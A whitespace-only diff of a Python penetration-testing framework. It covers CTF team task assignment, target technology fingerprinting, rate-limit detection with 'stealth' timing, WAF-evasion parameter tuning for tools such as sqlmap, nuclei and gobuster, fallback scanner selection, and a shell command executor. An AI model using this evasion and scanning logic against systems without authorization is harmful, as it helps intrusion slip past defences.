         self.team_communication = []
         self.shared_resources = {}
-        
+
     def optimize_team_strategy(self, challenges: List[CTFChallenge], team_skills: Dict[str, List[str]]) -> Dict[str, Any]:
         """Optimize team strategy based on member skills and challenge types"""
         strategy = {
@@ -4088,7 +4088,7 @@ class CTFTeamCoordinator:
             "estimated_total_score": 0,
             "time_allocation": {}
         }
-        
+
         # Analyze team skills
         skill_matrix = {}
         for member, skills in team_skills.items():
@@ -4101,19 +4101,19 @@ class CTFTeamCoordinator:
                 "osint": "osint" in skills or "intelligence" in skills,
                 "misc": True  # Everyone can handle misc
             }
-        
+
         # Score challenges for each team member
         member_challenge_scores = {}
         for member in team_skills.keys():
             member_challenge_scores[member] = []
-            
+
             for challenge in challenges:
                 base_score = challenge.points
                 skill_multiplier = 1.0
-                
+
                 if skill_matrix[member].get(challenge.category, False):
                     skill_multiplier = 1.5  # 50% bonus for skill match
-                
+
                 difficulty_penalty = {
                     "easy": 1.0,
                     "medium": 0.9,
@@ -4121,19 +4121,19 @@ class CTFTeamCoordinator:
                     "insane": 0.5,
                     "unknown": 0.8
                 }[challenge.difficulty]
-                
+
                 final_score = base_score * skill_multiplier * difficulty_penalty
-                
+
                 member_challenge_scores[member].append({
                     "challenge": challenge,
                     "score": final_score,
                     "estimated_time": self._estimate_solve_time(challenge, skill_matrix[member])
                 })
-        
+
         # Assign challenges using Hungarian algorithm approximation
         assignments = self._assign_challenges_optimally(member_challenge_scores)
         strategy["assignments"] = assignments
-        
+
         # Create priority queue
         all_assignments = []
         for member, challenges in assignments.items():
@@ -4144,14 +4144,14 @@ class CTFTeamCoordinator:
                     "priority": challenge_info["score"],
                     "estimated_time": challenge_info["estimated_time"]
                 })
-        
+
         strategy["priority_queue"] = sorted(all_assignments, key=lambda x: x["priority"], reverse=True)
-        
+
         # Identify collaboration opportunities
         strategy["collaboration_opportunities"] = self._identify_collaboration_opportunities(challenges, team_skills)
-        
+
         return strategy
-    
+
     def _estimate_solve_time(self, challenge: CTFChallenge, member_skills: Dict[str, bool]) -> int:
         """Estimate solve time for a challenge based on member skills"""
         base_times = {
@@ -4161,25 +4161,25 @@ class CTFTeamCoordinator:
             "insane": 14400, # 4 hours
             "unknown": 5400  # 1.5 hours
         }
-        
+
         base_time = base_times[challenge.difficulty]
-        
+
         # Skill bonus
         if member_skills.get(challenge.category, False):
             base_time = int(base_time * 0.7)  # 30% faster with relevant skills
-        
+
         return base_time
-    
+
     def _assign_challenges_optimally(self, member_challenge_scores: Dict[str, List[Dict]]) -> Dict[str, List[Dict]]:
         """Assign challenges to team members optimally"""
         assignments = {member: [] for member in member_challenge_scores.keys()}
         assigned_challenges = set()
-        
+
         # Simple greedy assignment (in practice, would use Hungarian algorithm)
         for _ in range(len(member_challenge_scores)):
             best_assignment = None
             best_score = -1
-            
+
             for member, challenge_scores in member_challenge_scores.items():
                 for challenge_info in challenge_scores:
                     challenge_name = challenge_info["challenge"].name
@@ -4187,18 +4187,18 @@ class CTFTeamCoordinator:
                         if challenge_info["score"] > best_score:
                             best_score = challenge_info["score"]
                             best_assignment = (member, challenge_info)
-            
+
             if best_assignment:
                 member, challenge_info = best_assignment
                 assignments[member].append(challenge_info)
                 assigned_challenges.add(challenge_info["challenge"].name)
-        
+
         return assignments
-    
+
     def _identify_collaboration_opportunities(self, challenges: List[CTFChallenge], team_skills: Dict[str, List[str]]) -> List[Dict[str, Any]]:
         """Identify challenges that would benefit from team collaboration"""
         collaboration_opportunities = []
-        
+
         for challenge in challenges:
             if challenge.difficulty in ["hard", "insane"]:
                 # High-difficulty challenges benefit from collaboration
@@ -4206,14 +4206,14 @@ class CTFTeamCoordinator:
                 for member, skills in team_skills.items():
                     if challenge.category in [skill.lower() for skill in skills]:
                         relevant_members.append(member)
-                
+
                 if len(relevant_members) >= 2:
                     collaboration_opportunities.append({
                         "challenge": challenge.name,
                         "recommended_team": relevant_members,
                         "reason": f"High-difficulty {challenge.category} challenge benefits from collaboration"
                     })
-        
+
         return collaboration_opportunities
 
 # ============================================================================
@@ -4222,7 +4222,7 @@ class CTFTeamCoordinator:
 
 class TechnologyDetector:
     """Advanced technology detection system for context-aware parameter selection"""
-    
+
     def __init__(self):
         self.detection_patterns = {
             "web_servers": {
@@ -4275,10 +4275,10 @@ class TechnologyDetector:
                 "cdn": ["CloudFront", "Fastly", "KeyCDN", "MaxCDN", "Cloudflare"]
             }
         }
-        
+
         self.port_services = {
             21: "ftp",
-            22: "ssh", 
+            22: "ssh",
             23: "telnet",
             25: "smtp",
             53: "dns",
@@ -4298,7 +4298,7 @@ class TechnologyDetector:
             9200: "elasticsearch",
             11211: "memcached"
         }
-    
+
     def detect_technologies(self, target: str, headers: Dict[str, str] = None, content: str = "", ports: List[int] = None) -> Dict[str, List[str]]:
         """Comprehensive technology detection"""
         detected = {
@@ -4310,7 +4310,7 @@ class TechnologyDetector:
             "security": [],
             "services": []
         }
-        
+
         # Header-based detection
         if headers:
             for category, tech_patterns in self.detection_patterns.items():
@@ -4320,7 +4320,7 @@ class TechnologyDetector:
                             if pattern.lower() in header_value.lower() or pattern.lower() in header_name.lower():
                                 if tech not in detected[category]:
                                     detected[category].append(tech)
-        
+
         # Content-based detection
         if content:
             content_lower = content.lower()
@@ -4330,7 +4330,7 @@ class TechnologyDetector:
                         if pattern.lower() in content_lower:
                             if tech not in detected[category]:
                                 detected[category].append(tech)
-        
+
         # Port-based service detection
         if ports:
             for port in ports:
@@ -4338,12 +4338,12 @@ class TechnologyDetector:
                     service = self.port_services[port]
                     if service not in detected["services"]:
                         detected["services"].append(service)
-        
+
         return detected
 
 class RateLimitDetector:
     """Intelligent rate limiting detection and automatic timing adjustment"""
-    
+
     def __init__(self):
         self.rate_limit_indicators = [
             "rate limit",
@@ -4356,26 +4356,26 @@ class RateLimitDetector:
             "api limit",
             "request limit"
         ]
-        
+
         self.timing_profiles = {
             "aggressive": {"delay": 0.1, "threads": 50, "timeout": 5},
             "normal": {"delay": 0.5, "threads": 20, "timeout": 10},
             "conservative": {"delay": 1.0, "threads": 10, "timeout": 15},
             "stealth": {"delay": 2.0, "threads": 5, "timeout": 30}
         }
-    
+
     def detect_rate_limiting(self, response_text: str, status_code: int, headers: Dict[str, str] = None) -> Dict[str, Any]:
         """Detect rate limiting from response"""
         rate_limit_detected = False
         confidence = 0.0
         indicators_found = []
-        
+
         # Status code check
         if status_code == 429:
             rate_limit_detected = True
             confidence += 0.8
             indicators_found.append("HTTP 429 status")
-        
+
         # Response text check
         response_lower = response_text.lower()
         for indicator in self.rate_limit_indicators:
@@ -4383,7 +4383,7 @@ class RateLimitDetector:
                 rate_limit_detected = True
                 confidence += 0.2
                 indicators_found.append(f"Text: '{indicator}'")
-        
+
         # Header check
         if headers:
             rate_limit_headers = ["x-ratelimit", "retry-after", "x-rate-limit"]
@@ -4393,16 +4393,16 @@ class RateLimitDetector:
                         rate_limit_detected = True
                         confidence += 0.3
                         indicators_found.append(f"Header: {header_name}")
-        
+
         confidence = min(1.0, confidence)
-        
+
         return {
             "detected": rate_limit_detected,
             "confidence": confidence,
             "indicators": indicators_found,
             "recommended_profile": self._recommend_timing_profile(confidence)
         }
-    
+
     def _recommend_timing_profile(self, confidence: float) -> str:
         """Recommend timing profile based on rate limit confidence"""
         if confidence >= 0.8:
@@ -4413,13 +4413,13 @@ class RateLimitDetector:
             return "normal"
         else:
             return "aggressive"
-    
+
     def adjust_timing(self, current_params: Dict[str, Any], profile: str) -> Dict[str, Any]:
         """Adjust timing parameters based on profile"""
         timing = self.timing_profiles.get(profile, self.timing_profiles["normal"])
-        
+
         adjusted_params = current_params.copy()
-        
+
         # Adjust common parameters
         if "threads" in adjusted_params:
             adjusted_params["threads"] = timing["threads"]
@@ -4427,28 +4427,28 @@ class RateLimitDetector:
             adjusted_params["delay"] = timing["delay"]
         if "timeout" in adjusted_params:
             adjusted_params["timeout"] = timing["timeout"]
-        
+
         # Tool-specific adjustments
         if "additional_args" in adjusted_params:
             args = adjusted_params["additional_args"]
-            
+
             # Remove existing timing arguments
             args = re.sub(r'-t\s+\d+', '', args)
             args = re.sub(r'--threads\s+\d+', '', args)
             args = re.sub(r'--delay\s+[\d.]+', '', args)
-            
+
             # Add new timing arguments
             args += f" -t {timing['threads']}"
             if timing["delay"] > 0:
                 args += f" --delay {timing['delay']}"
-            
+
             adjusted_params["additional_args"] = args.strip()
-        
+
         return adjusted_params
 
 class FailureRecoverySystem:
     """Intelligent failure recovery with alternative tool selection"""
-    
+
     def __init__(self):
         self.tool_alternatives = {
             "nmap": ["rustscan", "masscan", "zmap"],
@@ -4460,7 +4460,7 @@ class FailureRecoverySystem:
             "amass": ["subfinder", "sublist3r", "assetfinder"],
             "ffuf": ["wfuzz", "gobuster", "dirb"]
         }
-        
+
         self.failure_patterns = {
             "timeout": ["timeout", "timed out", "connection timeout"],
             "permission_denied": ["permission denied", "access denied", "forbidden"],
@@ -4469,15 +4469,15 @@ class FailureRecoverySystem:
             "rate_limited": ["rate limit", "too many requests", "throttled"],
             "authentication_required": ["authentication required", "unauthorized", "login required"]
         }
-    
+
     def analyze_failure(self, error_output: str, exit_code: int) -> Dict[str, Any]:
         """Analyze failure and suggest recovery strategies"""
         failure_type = "unknown"
         confidence = 0.0
         recovery_strategies = []
-        
+
         error_lower = error_output.lower()
-        
+
         # Identify failure type
         for failure, patterns in self.failure_patterns.items():
             for pattern in patterns:
@@ -4485,7 +4485,7 @@ class FailureRecoverySystem:
                     failure_type = failure
                     confidence += 0.3
                     break
-        
+
         # Exit code analysis
         if exit_code == 1:
             confidence += 0.1
@@ -4495,9 +4495,9 @@ class FailureRecoverySystem:
         elif exit_code == 126:  # permission denied
             failure_type = "permission_denied"
             confidence += 0.5
-        
+
         confidence = min(1.0, confidence)
-        
+
         # Generate recovery strategies
         if failure_type == "timeout":
             recovery_strategies = [
@@ -4526,14 +4526,14 @@ class FailureRecoverySystem:
                 "Use proxy or VPN",
                 "Verify target is accessible"
             ]
-        
+
         return {
             "failure_type": failure_type,
             "confidence": confidence,
             "recovery_strategies": recovery_strategies,
             "alternative_tools": self.tool_alternatives.get(self._extract_tool_name(error_output), [])
         }
-    
+
     def _extract_tool_name(self, error_output: str) -> str:
         """Extract tool name from error output"""
         for tool in self.tool_alternatives.keys():
@@ -4543,7 +4543,7 @@ class FailureRecoverySystem:
 
 class PerformanceMonitor:
     """Advanced performance monitoring with automatic resource allocation"""
-    
+
     def __init__(self):
         self.performance_metrics = {}
         self.resource_thresholds = {
@@ -4552,7 +4552,7 @@ class PerformanceMonitor:
             "disk_high": 90.0,
             "network_high": 80.0
         }
-        
+
         self.optimization_rules = {
             "high_cpu": {
                 "reduce_threads": 0.5,
@@ -4575,7 +4575,7 @@ class PerformanceMonitor:
                 "enable_connection_pooling": True
             }
         }
-    
+
     def monitor_system_resources(self) -> Dict[str, float]:
         """Monitor current system resource usage"""
         try:
@@ -4583,7 +4583,7 @@ class PerformanceMonitor:
             memory = psutil.virtual_memory()
             disk = psutil.disk_usage('/')
             network = psutil.net_io_counters()
-            
+
             return {
                 "cpu_percent": cpu_percent,
                 "memory_percent": memory.percent,
@@ -4595,31 +4595,31 @@ class PerformanceMonitor:
         except Exception as e:
             logger.error(f"Error monitoring system resources: {str(e)}")
             return {}
-    
+
     def optimize_based_on_resources(self, current_params: Dict[str, Any], resource_usage: Dict[str, float]) -> Dict[str, Any]:
         """Optimize parameters based on current resource usage"""
         optimized_params = current_params.copy()
         optimizations_applied = []
-        
+
         # CPU optimization
         if resource_usage.get("cpu_percent", 0) > self.resource_thresholds["cpu_high"]:
             if "threads" in optimized_params:
                 original_threads = optimized_params["threads"]
                 optimized_params["threads"] = max(1, int(original_threads * self.optimization_rules["high_cpu"]["reduce_threads"]))
                 optimizations_applied.append(f"Reduced threads from {original_threads} to {optimized_params['threads']}")
-            
+
             if "delay" in optimized_params:
                 original_delay = optimized_params.get("delay", 0)
                 optimized_params["delay"] = original_delay * self.optimization_rules["high_cpu"]["increase_delay"]
                 optimizations_applied.append(f"Increased delay to {optimized_params['delay']}")
-        
+
         # Memory optimization
         if resource_usage.get("memory_percent", 0) > self.resource_thresholds["memory_high"]:
             if "batch_size" in optimized_params:
                 original_batch = optimized_params["batch_size"]
                 optimized_params["batch_size"] = max(1, int(original_batch * self.optimization_rules["high_memory"]["reduce_batch_size"]))
                 optimizations_applied.append(f"Reduced batch size from {original_batch} to {optimized_params['batch_size']}")
-        
+
         # Network optimization
         if "network_bytes_sent" in resource_usage:
             # Simple heuristic for high network usage
@@ -4628,19 +4628,19 @@ class PerformanceMonitor:
                     original_conn = optimized_params["concurrent_connections"]
                     optimized_params["concurrent_connections"] = max(1, int(original_conn * self.optimization_rules["high_network"]["reduce_concurrent_connections"]))
                     optimizations_applied.append(f"Reduced concurrent connections to {optimized_params['concurrent_connections']}")
-        
+
         optimized_params["_optimizations_applied"] = optimizations_applied
         return optimized_params
 
 class ParameterOptimizer:
     """Advanced parameter optimization system with intelligent context-aware selection"""
-    
+
     def __init__(self):
         self.tech_detector = TechnologyDetector()
         self.rate_limiter = RateLimitDetector()
         self.failure_recovery = FailureRecoverySystem()
         self.performance_monitor = PerformanceMonitor()
-        
+
         # Tool-specific optimization profiles
         self.optimization_profiles = {
             "nmap": {
@@ -4698,15 +4698,15 @@ class ParameterOptimizer:
                 }
             }
         }
-    
+
     def optimize_parameters_advanced(self, tool: str, target_profile: TargetProfile, context: Dict[str, Any] = None) -> Dict[str, Any]:
         """Advanced parameter optimization with full intelligence"""
         if context is None:
             context = {}
-        
+
         # Get base parameters
         base_params = self._get_base_parameters(tool, target_profile)
-        
+
         # Detect technologies for context-aware optimization
         detected_tech = self.tech_detector.detect_technologies(
             target_profile.target,
@@ -4714,18 +4714,18 @@ class ParameterOptimizer:
             content=context.get("content", ""),
             ports=target_profile.open_ports
         )
-        
+
         # Apply technology-specific optimizations
         tech_optimized_params = self._apply_technology_optimizations(tool, base_params, detected_tech)
-        
+
         # Monitor system resources and optimize accordingly
         resource_usage = self.performance_monitor.monitor_system_resources()
         resource_optimized_params = self.performance_monitor.optimize_based_on_resources(tech_optimized_params, resource_usage)
-        
+
         # Apply profile-based optimizations
         profile = context.get("optimization_profile", "normal")
         profile_optimized_params = self._apply_profile_optimizations(tool, resource_optimized_params, profile)
-        
+
         # Add metadata
         profile_optimized_params["_optimization_metadata"] = {
             "detected_technologies": detected_tech,
@@ -4734,13 +4734,13 @@ class ParameterOptimizer:
             "optimizations_applied": resource_optimized_params.get("_optimizations_applied", []),
             "timestamp": datetime.now().isoformat()
         }
-        
+
         return profile_optimized_params
-    
+
     def _get_base_parameters(self, tool: str, profile: TargetProfile) -> Dict[str, Any]:
         """Get base parameters for a tool"""
         base_params = {"target": profile.target}
-        
+
         # Tool-specific base parameters
         if tool == "nmap":
             base_params.update({
@@ -4765,26 +4765,26 @@ class ParameterOptimizer:
                 "severity": "critical,high,medium",
                 "threads": 25
             })
-        
+
         return base_params
-    
+
     def _apply_technology_optimizations(self, tool: str, params: Dict[str, Any], detected_tech: Dict[str, List[str]]) -> Dict[str, Any]:
         """Apply technology-specific optimizations"""
         optimized_params = params.copy()
-        
+
         # Web server optimizations
         if "apache" in detected_tech.get("web_servers", []):
             if tool == "gobuster":
                 optimized_params["extensions"] = "php,html,txt,xml,conf"
             elif tool == "nuclei":
                 optimized_params["tags"] = optimized_params.get("tags", "") + ",apache"
-        
+
         elif "nginx" in detected_tech.get("web_servers", []):
             if tool == "gobuster":
                 optimized_params["extensions"] = "php,html,txt,json,conf"
             elif tool == "nuclei":
                 optimized_params["tags"] = optimized_params.get("tags", "") + ",nginx"
-        
+
         # CMS optimizations
         if "wordpress" in detected_tech.get("cms", []):
             if tool == "gobuster":
@@ -4794,20 +4794,20 @@ class ParameterOptimizer:
                 optimized_params["tags"] = optimized_params.get("tags", "") + ",wordpress"
             elif tool == "wpscan":
                 optimized_params["enumerate"] = "ap,at,cb,dbe"
-        
+
         # Language-specific optimizations
         if "php" in detected_tech.get("languages", []):
             if tool == "gobuster":
                 optimized_params["extensions"] = "php,php3,php4,php5,phtml,html"
             elif tool == "sqlmap":
                 optimized_params["dbms"] = "mysql"
-        
+
         elif "dotnet" in detected_tech.get("languages", []):
             if tool == "gobuster":
                 optimized_params["extensions"] = "aspx,asp,html,txt"
             elif tool == "sqlmap":
                 optimized_params["dbms"] = "mssql"
-        
+
         # Security feature adaptations
         if detected_tech.get("security", []):
             # WAF detected - use stealth mode
@@ -4819,34 +4819,34 @@ class ParameterOptimizer:
                 elif tool == "sqlmap":
                     optimized_params["delay"] = 2
                     optimized_params["randomize"] = True
-        
+
         return optimized_params
-    
+
     def _apply_profile_optimizations(self, tool: str, params: Dict[str, Any], profile: str) -> Dict[str, Any]:
         """Apply optimization profile settings"""
         if tool not in self.optimization_profiles:
             return params
-        
+
         profile_settings = self.optimization_profiles[tool].get(profile, {})
         optimized_params = params.copy()
-        
+
         # Apply profile-specific settings
         for key, value in profile_settings.items():
             optimized_params[key] = value
-        
+
         # Handle stealth mode flag
         if params.get("_stealth_mode", False) and profile != "stealth":
             # Force stealth settings even if different profile requested
             stealth_settings = self.optimization_profiles[tool].get("stealth", {})
             for key, value in stealth_settings.items():
                 optimized_params[key] = value
-        
+
         return optimized_params
-    
+
     def handle_tool_failure(self, tool: str, error_output: str, exit_code: int, current_params: Dict[str, Any]) -> Dict[str, Any]:
         """Handle tool failure and suggest recovery"""
         failure_analysis = self.failure_recovery.analyze_failure(error_output, exit_code)
-        
+
         recovery_plan = {
             "original_tool": tool,
             "failure_analysis": failure_analysis,
@@ -4854,7 +4854,7 @@ class ParameterOptimizer:
             "alternative_tools": failure_analysis["alternative_tools"],
             "adjusted_parameters": current_params.copy()
         }
-        
+
         # Apply automatic parameter adjustments based on failure type
         if failure_analysis["failure_type"] == "timeout":
             if "timeout" in recovery_plan["adjusted_parameters"]:
@@ -4862,12 +4862,12 @@ class ParameterOptimizer:
             if "threads" in recovery_plan["adjusted_parameters"]:
                 recovery_plan["adjusted_parameters"]["threads"] = max(1, recovery_plan["adjusted_parameters"]["threads"] // 2)
             recovery_plan["recovery_actions"].append("Increased timeout and reduced threads")
-        
+
         elif failure_analysis["failure_type"] == "rate_limited":
             timing_profile = self.rate_limiter.adjust_timing(recovery_plan["adjusted_parameters"], "stealth")
             recovery_plan["adjusted_parameters"].update(timing_profile)
             recovery_plan["recovery_actions"].append("Applied stealth timing profile")
-        
+
         return recovery_plan
 
 # ============================================================================
@@ -4876,7 +4876,7 @@ class ParameterOptimizer:
 
 class ProcessPool:
     """Intelligent process pool with auto-scaling capabilities"""
-    
+
     def __init__(self, min_workers=2, max_workers=20, scale_threshold=0.8):
         self.min_workers = min_workers
         self.max_workers = max_workers
@@ -4893,14 +4893,14 @@ class ProcessPool:
             "cpu_usage": 0.0,
             "memory_usage": 0.0
         }
-        
+
         # Initialize minimum workers
         self._scale_up(self.min_workers)
-        
+
         # Start monitoring thread
         self.monitor_thread = threading.Thread(target=self._monitor_performance, daemon=True)
         self.monitor_thread.start()
-    
+
     def submit_task(self, task_id: str, func, *args, **kwargs) -> str:
         """Submit a task to the process pool"""
         task = {
@@ -4911,14 +4911,14 @@ class ProcessPool:
             "submitted_at": time.time(),
             "status": "queued"
         }
-        
+
         with self.pool_lock:
             self.active_tasks[task_id] = task
             self.task_queue.put(task)
-        
+
         logger.info(f"📋 Task submitted to pool: {task_id}")
         return task_id
-    
+
     def get_task_result(self, task_id: str) -> Dict[str, Any]:
         """Get result of a submitted task"""
         with self.pool_lock:
@@ -4928,32 +4928,32 @@ class ProcessPool:
                 return {"status": self.active_tasks[task_id]["status"], "result": None}
             else:
                 return {"status": "not_found", "result": None}
-    
+
     def _worker_thread(self, worker_id: int):
         """Worker thread that processes tasks"""
         logger.info(f"🔧 Process pool worker {worker_id} started")
-        
+
         while True:
             try:
                 # Get task from queue with timeout
                 task = self.task_queue.get(timeout=30)
                 if task is None:  # Shutdown signal
                     break
-                
+
                 task_id = task["id"]
                 start_time = time.time()
-                
+
                 # Update task status
                 with self.pool_lock:
                     if task_id in self.active_tasks:
                         self.active_tasks[task_id]["status"] = "running"
                         self.active_tasks[task_id]["worker_id"] = worker_id
                         self.active_tasks[task_id]["started_at"] = start_time
-                
+
                 try:
                     # Execute task
                     result = task["func"](*task["args"], **task["kwargs"])
-                    
+
                     # Store result
                     execution_time = time.time() - start_time
                     with self.pool_lock:
@@ -4964,20 +4964,20 @@ class ProcessPool:
                             "worker_id": worker_id,
                             "completed_at": time.time()
                         }
-                        
+
                         # Update performance metrics
                         self.performance_metrics["tasks_completed"] += 1
                         self.performance_metrics["avg_task_time"] = (
                             (self.performance_metrics["avg_task_time"] * (self.performance_metrics["tasks_completed"] - 1) + execution_time) /
                             self.performance_metrics["tasks_completed"]
                         )
-                        
+
                         # Remove from active tasks
                         if task_id in self.active_tasks:
                             del self.active_tasks[task_id]
-                    
+
                     logger.info(f"✅ Task completed: {task_id} in {execution_time:.2f}s")
-                    
+
                 except Exception as e:
                     # Handle task failure
                     with self.pool_lock:
@@ -4988,67 +4988,67 @@ class ProcessPool:
                             "worker_id": worker_id,
                             "failed_at": time.time()
                         }
-                        
+
                         self.performance_metrics["tasks_failed"] += 1
-                        
+
                         if task_id in self.active_tasks:
                             del self.active_tasks[task_id]
-                    
+
                     logger.error(f"❌ Task failed: {task_id} - {str(e)}")
-                
+
                 self.task_queue.task_done()
-                
+
             except queue.Empty:
                 # No tasks available, continue waiting
                 continue
             except Exception as e:
                 logger.error(f"💥 Worker {worker_id} error: {str(e)}")
-    
+
     def _monitor_performance(self):
         """Monitor pool performance and auto-scale"""
         while True:
             try:
                 time.sleep(10)  # Monitor every 10 seconds
-                
+
                 with self.pool_lock:
                     queue_size = self.task_queue.qsize()
                     active_workers = len([w for w in self.workers if w.is_alive()])
                     active_tasks_count = len(self.active_tasks)
-                
+
                 # Calculate load metrics
                 if active_workers > 0:
                     load_ratio = (active_tasks_count + queue_size) / active_workers
                 else:
                     load_ratio = float('inf')
-                
+
                 # Auto-scaling logic
                 if load_ratio > self.scale_threshold and active_workers < self.max_workers:
                     # Scale up
                     new_workers = min(2, self.max_workers - active_workers)
                     self._scale_up(new_workers)
                     logger.info(f"📈 Scaled up process pool: +{new_workers} workers (total: {active_workers + new_workers})")
-                
+
                 elif load_ratio < 0.3 and active_workers > self.min_workers:
                     # Scale down
                     workers_to_remove = min(1, active_workers - self.min_workers)
                     self._scale_down(workers_to_remove)
                     logger.info(f"📉 Scaled down process pool: -{workers_to_remove} workers (total: {active_workers - workers_to_remove})")
-                
+
                 # Update performance metrics
                 try:
                     cpu_percent = psutil.cpu_percent()
                     memory_info = psutil.virtual_memory()
-                    
+
                     with self.pool_lock:
                         self.performance_metrics["cpu_usage"] = cpu_percent
                         self.performance_metrics["memory_usage"] = memory_info.percent
-                
+
                 except Exception:
                     pass  # Ignore psutil errors
-                
+
             except Exception as e:
                 logger.error(f"💥 Pool monitor error: {str(e)}")
-    
+
     def _scale_up(self, count: int):
         """Add workers to the pool"""
         with self.pool_lock:
@@ -5057,7 +5057,7 @@ class ProcessPool:
                 worker = threading.Thread(target=self._worker_thread, args=(worker_id,), daemon=True)
                 worker.start()
                 self.workers.append(worker)
-    
+
     def _scale_down(self, count: int):
         """Remove workers from the pool"""
         with self.pool_lock:
@@ -5068,7 +5068,7 @@ class ProcessPool:
                     # Remove from workers list (worker will exit naturally)
                     if self.workers:
                         self.workers.pop()
-    
+
     def get_pool_stats(self) -> Dict[str, Any]:
         """Get current pool statistics"""
         with self.pool_lock:
@@ -5084,7 +5084,7 @@ class ProcessPool:
 
 class AdvancedCache:
     """Advanced caching system with intelligent TTL and LRU eviction"""
-    
+
     def __init__(self, max_size=1000, default_ttl=3600):
         self.max_size = max_size
         self.default_ttl = default_ttl
@@ -5094,49 +5094,49 @@ class AdvancedCache:
         self.cache_lock = threading.RLock()
         self.hit_count = 0
         self.miss_count = 0
-        
+
         # Start cleanup thread
         self.cleanup_thread = threading.Thread(target=self._cleanup_expired, daemon=True)
         self.cleanup_thread.start()
-    
+
     def get(self, key: str) -> Any:
         """Get value from cache"""
         with self.cache_lock:
             current_time = time.time()
-            
+
             # Check if key exists and is not expired
             if key in self.cache and (key not in self.ttl_times or self.ttl_times[key] > current_time):
                 # Update access time for LRU
                 self.access_times[key] = current_time
                 self.hit_count += 1
                 return self.cache[key]
-            
+
             # Cache miss or expired
             if key in self.cache:
                 # Remove expired entry
                 self._remove_key(key)
-            
+
             self.miss_count += 1
             return None
-    
+
     def set(self, key: str, value: Any, ttl: int = None) -> None:
         """Set value in cache with optional TTL"""
         with self.cache_lock:
             current_time = time.time()
-            
+
             # Use default TTL if not specified
             if ttl is None:
                 ttl = self.default_ttl
-            
+
             # Check if we need to evict entries
             if len(self.cache) >= self.max_size and key not in self.cache:
                 self._evict_lru()
-            
+
             # Set the value
             self.cache[key] = value
             self.access_times[key] = current_time
             self.ttl_times[key] = current_time + ttl
-    
+
     def delete(self, key: str) -> bool:
         """Delete key from cache"""
         with self.cache_lock:
@@ -5144,30 +5144,30 @@ class AdvancedCache:
                 self._remove_key(key)
                 return True
             return False
-    
+
     def clear(self) -> None:
         """Clear all cache entries"""
         with self.cache_lock:
             self.cache.clear()
             self.access_times.clear()
             self.ttl_times.clear()
-    
+
     def _remove_key(self, key: str) -> None:
         """Remove key and associated metadata"""
         self.cache.pop(key, None)
         self.access_times.pop(key, None)
         self.ttl_times.pop(key, None)
-    
+
     def _evict_lru(self) -> None:
         """Evict least recently used entry"""
         if not self.access_times:
             return
-        
+
         # Find least recently used key
         lru_key = min(self.access_times.keys(), key=lambda k: self.access_times[k])
         self._remove_key(lru_key)
         logger.debug(f"🗑️ Evicted LRU cache entry: {lru_key}")
-    
+
     def _cleanup_expired(self) -> None:
         """Cleanup expired entries periodically"""
         while True:
@@ -5175,27 +5175,27 @@ class AdvancedCache:
                 time.sleep(60)  # Cleanup every minute
                 current_time = time.time()
                 expired_keys = []
-                
+
                 with self.cache_lock:
                     for key, expiry_time in self.ttl_times.items():
                         if expiry_time <= current_time:
                             expired_keys.append(key)
-                    
+
                     for key in expired_keys:
                         self._remove_key(key)
-                
+
                 if expired_keys:
                     logger.debug(f"🧹 Cleaned up {len(expired_keys)} expired cache entries")
-                
+
             except Exception as e:
                 logger.error(f"💥 Cache cleanup error: {str(e)}")
-    
+
     def get_stats(self) -> Dict[str, Any]:
         """Get cache statistics"""
         with self.cache_lock:
             total_requests = self.hit_count + self.miss_count
             hit_rate = (self.hit_count / total_requests * 100) if total_requests > 0 else 0
-            
+
             return {
                 "size": len(self.cache),
                 "max_size": self.max_size,
@@ -5207,7 +5207,7 @@ class AdvancedCache:
 
 class EnhancedProcessManager:
     """Advanced process management with intelligent resource allocation"""
-    
+
     def __init__(self):
         self.process_pool = ProcessPool(min_workers=4, max_workers=32)
         self.cache = AdvancedCache(max_size=2000, default_ttl=1800)  # 30 minutes default TTL
@@ -5215,11 +5215,11 @@ class EnhancedProcessManager:
         self.process_registry = {}
         self.registry_lock = threading.RLock()
         self.performance_dashboard = PerformanceDashboard()
-        
+
         # Process termination and recovery
         self.termination_handlers = {}
         self.recovery_strategies = {}
-        
+
         # Auto-scaling configuration
         self.auto_scaling_enabled = True
         self.resource_thresholds = {
@@ -5228,22 +5228,22 @@ class EnhancedProcessManager:
             "disk_high": 95.0,
             "load_high": 0.8
         }
-        
+
         # Start background monitoring
         self.monitor_thread = threading.Thread(target=self._monitor_system, daemon=True)
         self.monitor_thread.start()
-    
+
     def execute_command_async(self, command: str, context: Dict[str, Any] = None) -> str:
         """Execute command asynchronously using process pool"""
         task_id = f"cmd_{int(time.time() * 1000)}_{hash(command) % 10000}"
-        
+
         # Check cache first
         cache_key = f"cmd_result_{hash(command)}"
         cached_result = self.cache.get(cache_key)
         if cached_result and context and context.get("use_cache", True):
             logger.info(f"📋 Using cached result for command: {command[:50]}...")
             return cached_result
-        
+
         # Submit to process pool
         self.process_pool.submit_task(
             task_id,
@@ -5251,23 +5251,23 @@ class EnhancedProcessManager:
             command,
             context or {}
         )
-        
+
         return task_id
-    
+
     def _execute_command_internal(self, command: str, context: Dict[str, Any]) -> Dict[str, Any]:
         """Internal command execution with enhanced monitoring"""
         start_time = time.time()
-        
+
         try:
             # Resource-aware execution
             resource_usage = self.resource_monitor.get_current_usage()
-            
+
             # Adjust command based on resource availability
             if resource_usage["cpu_percent"] > self.resource_thresholds["cpu_high"]:
                 # Add nice priority for CPU-intensive commands
                 if not command.startswith("nice"):
                     command = f"nice -n 10 {command}"
-            
+
             # Execute command
             process = subprocess.Popen(
                 command,
@@ -5277,7 +5277,7 @@ class EnhancedProcessManager:
                 text=True,
                 preexec_fn=os.setsid if os.name != 'nt' else None
             )
-            
+
             # Register process
             with self.registry_lock:
                 self.process_registry[process.pid] = {
@@ -5287,11 +5287,11 @@ class EnhancedProcessManager:
                     "context": context,
                     "status": "running"
                 }
-            
+
             # Monitor process execution
             stdout, stderr = process.communicate()
             execution_time = time.time() - start_time
-            
+
             result = {
                 "success": process.returncode == 0,
                 "stdout": stdout,
@@ -5301,18 +5301,18 @@ class EnhancedProcessManager:
                 "pid": process.pid,
                 "resource_usage": self.resource_monitor.get_process_usage(process.pid)
             }
-            
+
             # Cache successful results
             if result["success"] and context.get("cache_result", True):
                 cache_key = f"cmd_result_{hash(command)}"
                 cache_ttl = context.get("cache_ttl", 1800)  # 30 minutes default
                 self.cache.set(cache_key, result, cache_ttl)
-            
+
             # Update performance metrics
             self.performance_dashboard.record_execution(command, result)
-            
+
             return result
-            
+
         except Exception as e:
             execution_time = time.time() - start_time
             error_result = {
